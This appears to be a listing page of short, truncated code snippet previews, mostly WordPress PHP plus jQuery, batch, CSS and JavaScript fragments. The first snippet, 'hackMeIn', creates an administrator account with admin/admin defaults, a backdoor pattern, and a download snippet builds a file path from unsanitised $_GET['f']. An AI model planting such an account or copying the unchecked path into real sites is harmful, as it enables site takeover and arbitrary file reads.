This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function hackMeIn($user = 'admin', $pass = 'admin', $email = '[email protected]'){ | |
$user_id = wp_create_user($user, $pass, $email); | |
if(is_wp_error($user_id)){ echo '<p style="color:red">'.$user_id->get_error_message().'</p>'; return false; } | |
$wp_user_object = new WP_User($user_id); | |
$wp_user_object->remove_role('subscriber'); | |
$wp_user_object->add_role('administrator'); | |
echo '<p style="color:green">Account has been created successfully [#'.$user_id.']</p>'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(false == isset($_GET['f'])): | |
wp_redirect($_SERVER['HTTP_REFERER']); | |
exit(); | |
endif; | |
$path = '/uploads'; | |
$path = $path. '/'. $_GET['f']; | |
$filename = $_GET['f']; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function ($) { | |
$.fn.PluginExample = function(param) { | |
function PluginExampleClass() | |
{ | |
/* -------------------------------------------------------------- */ | |
/* public: */ | |
this.api = { | |
methodExample : function(i) { methodExample(i); return this.api; }, | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
:: -------------------------- | |
:: --------SETTINGS---------- | |
:: -------------------------- | |
@set connectionname=Wi-Fi 2 | |
:: -------------------------- | |
:: ---------SELECT----------- | |
:: -------------------------- | |
@echo off |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if( ! get_role('simple_user')){ | |
add_role( | |
'simple_user', | |
__( 'Użytkownik' ), | |
array( | |
'read' => true, // true allows this capability | |
) | |
); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<style> | |
.full-width { position: relative; width: 100%; height: 300px; } | |
.full-width:before { content: " "; display: block; position: absolute; width: 300%; height: 100%; left:-100%; background: inherit; z-index:-1; } | |
.full-width:after { content: " "; display: block; position: absolute; top:0; width: 100%; height: 100%; left:0; right: 0; margin: auto; z-index:-1;} | |
</style> | |
<div style="width:300px;min-height:600px;margin:0 auto"> | |
<div class="full-width" style="background: #c0c0c0 url('http://lorempixel.com/1800/600/nature/1800x600/') no-repeat center top;"> | |
<img alt="" src="http://placehold.it/300x300" style="opacity:0.8;"/> | |
</div> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// WP 4.0 qTranslate FIX | |
add_action( 'admin_init', 'custom_deregister_editor_expand' ); | |
function custom_deregister_editor_expand() { | |
wp_deregister_script('editor-expand'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Queue System Object | |
* | |
* DOM structure requires some time to load, | |
* so we need to wait with events attachment. | |
* Queuing allows to manipulate functions call order | |
* properly. | |
* | |
* Important: | |
* Remember to add Queue.done() in the very end |
OlderNewer